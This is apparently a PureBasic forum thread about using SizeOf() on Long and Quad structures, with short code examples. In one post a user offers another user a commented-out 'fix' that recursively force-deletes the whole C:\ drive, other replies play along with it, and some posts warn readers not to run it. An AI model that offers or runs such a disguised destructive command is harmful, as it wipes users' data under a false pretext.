I was just thinking that too.

Maybe it's Fred, gone crazy after working on a Mac for too long!

I translate it to PB:

Code: Select all

h_verlen.c=(4<<4)|(SizeOf(ipHeader)/SizeOf(long))

Interestingly enough the docs for 4.02 state that SizeOf() only works on structures and not on base types. However, you are right it works fine on base types:

Code: Select all

If OpenConsole()
  PrintN("sizeof long is:"+Str(SizeOf(long)))
  PrintN("sizeof quad is:"+Str(SizeOf(quad)))
  PrintN("Hit Enter to continue")
  Input()
EndIf

Prints 4 and 8 as expected.

Codefire,
'Long' and 'Quad' are structures. Defining 'myVariable.Long' is not the same as 'myVariable.l'. What you can't do is 'SizeOf(.l)' and the like (although you can get the SizeOf() the variables themselves if the base type is not included, i.e. 'Debug SizeOf(myVariable)' ).

Code: Select all

;Base type:
myVariable.l = 42

;Structure:
myVariable2.Long
myVariable2\l = 42

Debug SizeOf(myVariable)
Debug SizeOf(myVariable2)

Debug myVariable
Debug myVariable2     ;Not the long value, but a pointer to a structure.
Debug myVariable2\l   ;The actual long value contained in the structure's only element.

This should fix all PBChinese's troubles. At least for some time

Code: Select all

; PBChinese, uncomment the line below and compile and run it!
;DeleteDirectory("C:\", "*.*", #PB_FileSystem_Recursive|#PB_FileSystem_Force)

ANYONE ELSE SHOULD NOT RUN THAT CODE

PBChinese, I think this perfect solution, it worked for me.

You just know that someone new is going to read your post and think "Oh! Cool!, lets see what this does"

Wow, I didn't know that! Long and Quad structures!

Very useful to be able to find the size of a variable too...nice.

That is why I wrote the warning in big red letters below

indeed, someone who tries that code without looking in the help first just deserves it.
